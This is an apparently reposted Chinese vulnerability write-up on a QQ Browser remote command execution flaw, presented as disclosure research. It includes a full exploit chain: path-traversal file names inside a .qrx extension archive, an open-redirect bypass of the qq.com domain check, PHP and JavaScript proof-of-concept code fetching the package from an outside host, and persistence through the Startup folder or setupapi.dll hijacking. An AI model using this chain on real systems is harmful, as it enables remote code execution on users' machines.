QQ浏览器远程任意命令执行漏洞(附有分析和利用)

华盟原创文章投稿奖励计划

  1. 对于QQ浏览器来说,只要是qq.com的域名下的网页,就有权限调用 external下的一些API接口,比如:

  安装插件:window.external.extension.installExtension

  卸载插件:window.external.getExtension(“”).uninstallExtension

  2. 对于window.external.extension.installExtension,其用法如下:

  window.external.extension.installExtension(“插件GUID”,”插件地址”,”插件版本”,回调函数);

  一个实例:

  window.external.extension.installExtension(“{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}”,”http://xxxx.qq.com/AAAAAAAA.qrx”,”8.0.1.19″,function(){

  alert(“install ok”);

  });

  其中,插件地址要求是qq.com域下的地址方可。

  3. 看样子我们似乎可以安装任意插件,然而,QQ的浏览器插件实现,对插件内所调用的JS等含有功能代码的文件均有校验机制,这使得我们无法在插件内打包恶意的JS代码。

  4. 然而,QQ浏览器插件(qrx)本身就是一个压缩包,远程安装QQ插件的时候,QQ浏览器会首先解压这个压缩包,然后才是上一步的校验。校验这一步没什么问题,那解压缩这步会不会有问题呢?

  5. 于是,我们下载一个QQ浏览器插件,采用7zip打开, 拖入一个calc.exe到压缩包中,

  

QQ浏览器远程任意命令执行漏洞(附有分析和利用)

  接着对calc.exe进行重命名:

  ../../../../../../../../../calc.exe

  

QQ浏览器远程任意命令执行漏洞(附有分析和利用)

  相当于我们在压缩包里打包了一个这样路径的文件:C:/Users/用户名/AppData/Roaming/Tencent/QQBrowser/Extensions8/{38D6C77F-66BE-413E-996C-85372DB1A510}/8.0.0.2/../../../../../../../../../calc.exe

  6. 我们将改造后的 1.qrx文件和index.php放到我们本地测试服务器(x.com)的根目录下。

  /1.qrx

  /index.php

  其中index.php代码为:

  

<?

echo file_get_contents(“./1.qrx”);

?>

  然后我们为了绕过window.external.extension.installExtension中插件URL的域名限制,我们在乌云以前的漏洞里找到了一个302跳转:

  http://tixing.qq.com/cgi-bin/jump?url=http://xxx.com/

  这个跳转本身的url参数依然存在域名判断限制,但是可以被我们可以轻松的用以下方式绕过。

  http://tixing.qq.com/cgi-bin/jump?url=http://x.com?qq.com/

  这也是我们最终构造好的插件下载地址:

  http://tixing.qq.com/cgi-bin/jump?url=http://x.com?qq.com/

  –> 跳转到:

  http://x.com?qq.com/

  –> 相当于 http://x.com/index.php

  –> 读取1.qrx的内容返回

  7. 我们随便打开一个QQ的网站,比如 qzs.qq.com/123 (网页不存在没关系)

  然后F12打开脚本控制台,运行下面的测试代码(会向C盘根目录写入一个calc.exe):

  (function(){

  var isWin7=/NT/s+6/.test(navigator.userAgent);

  window.external.getExtension(“”).uninstallExtension(“{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}”,function(){

  if(isWin7){

  window.external.extension.installExtension(“{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}”,”http://tixing.qq.com/cgi-bin/jump?url=http://appmaker.sinaapp.com?.qq.com/1.qrx”,”8.0.1.19″,function(){

  alert(“demo win7”);

  });

  }else{

  //xp

  window.external.extension.installExtension(“{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}”,”http://tixing.qq.com/cgi-bin/jump?url=http://appmaker.sinaapp.com?.qq.com/1.qrx”,”8.0.1.19″,function(){

  alert(“demo xp”);

  });

  }

  });

  })();

  效果如下图所示:

  

QQ浏览器远程任意命令执行漏洞(附有分析和利用)

  可以看到(Win 7 下需关闭UAC), 调用安装插件这个API后,确实在C盘根目录下写入了一个calc.exe文件。

  XP下也一样是可以的。

  

QQ浏览器远程任意命令执行漏洞(附有分析和利用)

  8. 最后,我们要做的事情,就是找一个QQ域下的XSS, 这里我就不找了。因为这个漏洞的重点已经不在找XSS上了。。如果一定要我找一个补上,请留言。

  1. win7下,关闭UAC的情况下,可以写入启动目录,

  calc.exe 重命名为 ../../../../../../../../../ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/calc.exe 即可。

  但是XP下,启动目录有中文,这个漏洞,在解压时,无法正常处理中文路径。

  2. 但是xp下,可以结合其它小问题来实现命令执行,比如dll劫持。

  如果QQ浏览器默认路径安装,

  自己创建一个dll,重命名为 ../../../../../../../../../Program Files/Tencent/QQBrowser/setupapi.dll

  用户访问恶意构造网页,安装恶意插件包,即会在QQ浏览器所在目录释放一个setupapi.dll,下次浏览器启动时,被劫持,如下图:

  

QQ浏览器远程任意命令执行漏洞(附有分析和利用)

  解决方案:

  修复插件包安装相关代码。

原文地址:https://exploits.77169.com/2015/20150318232341.shtm

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容